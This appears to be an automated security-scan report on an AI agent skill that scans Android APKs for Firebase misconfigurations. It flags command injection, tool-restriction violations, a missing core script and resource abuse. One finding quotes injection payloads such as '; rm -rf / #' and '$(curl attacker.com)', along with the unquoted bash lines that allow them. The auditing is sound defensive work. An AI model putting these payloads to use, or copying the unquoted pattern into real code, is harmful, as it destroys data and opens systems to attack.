firebase-apk-scanner
4 findings (3 high, 1 medium), mainly command injection, unauthorized tool use, social engineering. Most recent scan 2026-02-06.
This Firebase APK scanner skill presents CRITICAL security risks due to missing core components and unsafe input handling. The primary concern is that the scanner.sh script - which performs all actual security testing operations - is not included in the package, making it impossible to verify what the skill actually does. The skill executes this missing script with unsanitized user input, creating command injection vulnerabilities. Additionally, the skill violates its declared tool restrictions by executing arbitrary bash commands beyond the specified tools. The skill's purpose (security scanning with network operations and credential testing) combined with the lack of transparency creates significant trust and security concerns. While the documentation and vulnerability reference file appear educational and legitimate, the missing implementation and unsafe execution patterns make this skill unsuitable for use without major security improvements.
Scanner's overall assessment (LLM analyzer)
Second scanner: NVIDIA SkillSpector
Independent static run, no language model, over the same files as the Cisco scan above. How the two scanners compare across the whole corpus: Two scanners, one corpus.
What this skill does
Scans Android APKs for Firebase security misconfigurations including open databases, storage buckets, authentication issues, and exposed cloud functions. Use when analyzing APK files for Firebase vulnerabilities, performing mobile app security audits, or testing Firebase endpoint security. For authorized security research only.
- Package
- 2 files, 27 KB
- SKILL.md
- 839 words, 12+ sections
- Code
- None. Instructions only.
- Allowed tools
Bash({baseDir}/scanner.sh:*)Bash(apktool:*)Bash(curl:*)ReadGrepGlob
SKILL.md covers: Firebase APK Security Scanner · When to Use · When NOT to Use · Rationalizations to Reject · Reference Documentation · How to Use This Skill · Workflow · Step 1: Validate Input · Step 2: Run the Scanner · Step 3: Present Results · Scan Summary · Extracted Configuration
Findings
HIGH Unvalidated Command Injection Risk via $ARGUMENTS Command Injectionllm
The skill passes user-provided input ($ARGUMENTS) directly to bash commands without validation or sanitization. The workflow executes 'ls -la $ARGUMENTS' and '{baseDir}/scanner.sh $ARGUMENTS' with unsanitized user input, creating command injection vulnerabilities. An attacker could provide malicious input like '; rm -rf / #' or '$(curl attacker.com)' to execute arbitrary commands.
SKILL.md
ls -la $ARGUMENTS
{baseDir}/scanner.sh $ARGUMENTS - Direct variable expansion in bash without quotes or validationHIGH Tool Restriction Violation - Unrestricted Bash Execution Unauthorized Tool Usellm
The allowed-tools declaration specifies 'Bash({baseDir}/scanner.sh:*)' and 'Bash(apktool:*)' and 'Bash(curl:*)' but the instructions show execution of arbitrary bash commands like 'ls -la $ARGUMENTS' which is not restricted to these specific tools. The skill also references network operations (curl to Firebase APIs) that could be used for data exfiltration while claiming to be a security scanner.
SKILL.md
allowed-tools: Bash({baseDir}/scanner.sh:*), Bash(apktool:*), Bash(curl:*) - but instructions show 'ls -la $ARGUMENTS' and unrestricted bash execution patternsHIGH Deceptive Capability Claims - Missing Critical Script Social Engineeringllm
The skill claims to be a 'Firebase APK Security Scanner' that performs comprehensive security testing including authentication testing, database access attempts, and cloud function enumeration. However, the actual scanner.sh script that performs these operations is not included in the package, making it impossible to verify the skill's true behavior. This creates a trust issue where users cannot validate what the skill actually does versus what it claims to do.
SKILL.md
Description claims comprehensive Firebase security scanning capabilities, but scanner.sh (the core component) is missing from the package. Instructions reference network operations and API testing that cannot be verified.MEDIUM Unbounded APK Processing Without Resource Limits Resource Abusellm
The skill accepts APK files or directories as input without apparent size limits, validation, or resource constraints. Processing large APKs or directories with many APKs could lead to resource exhaustion through decompilation (apktool), file system operations, and network requests. The workflow shows no timeout mechanisms or resource limits.
SKILL.md
Accepts $ARGUMENTS as APK file or directory without validation of size, count, or resource limits. Uses apktool for decompilation which can be resource-intensive for large APKs.What is in the package
| File | Kind | Size |
|---|---|---|
SKILL.md | doc | 6.7 KB |
references/vulnerabilities.md | doc | 21 KB |
External hosts referenced
project-id.firebaseio.com identitytoolkit.googleapis.com firebasestorage.googleapis.com firestore.googleapis.com firebaseremoteconfig.googleapis.com project.firebaseio.com us-central1-project-id.cloudfunctions.net internal-api.company.com us-central1-project.cloudfunctions.net
Hostnames that appear in the skill's files. Referencing a host is not a finding; compare against the findings above and the skill's stated purpose.
Package contents recorded 2026-10-22 at commit a50696e20581. The scan above ran against the version current at scan time; the two can differ if the skill has since been updated.
What we checked
- Static analyzer. Pattern rules over SKILL.md and bundled files: known-bad commands, exfiltration URLs, secrets, obfuscation.
- Behavioral analyzer. Checks what the skill asks the agent to do against what its description claims it does.
- Llm analyzer. A language model reads the skill and reports intent-level issues the rules cannot express.
- Trigger analyzer. Looks for instructions that fire on conditions the user did not ask for.
- Meta analyzer. A second model pass that validates, deduplicates and re-scores the other analyzers' findings.
What we did not check
- Runtime behaviour. The skill was not executed; findings come from reading its files.
- Anything fetched at install or run time, including remote scripts, package dependencies, and URLs the skill tells the agent to open.
- Content the analyzers cannot read: images, binaries, and some non-English text.
- Known scanner bypass classes. See the methodology and limitations page.
Scan history
| Date | Verdict | Findings | Change | Analyzers | Raw |
|---|---|---|---|---|---|
| HIGH | 4 | = | static behavioral llm trigger meta | JSON | |
| CRITICAL | 4 | first scan | static behavioral llm trigger meta | JSON |
Sources
- Repository: https://github.com/trailofbits/skills
- Raw scan result: plugins-firebase-apkner-skills-firebase-apkner-scan.json
- Badge for your README:
 - Request a re-scan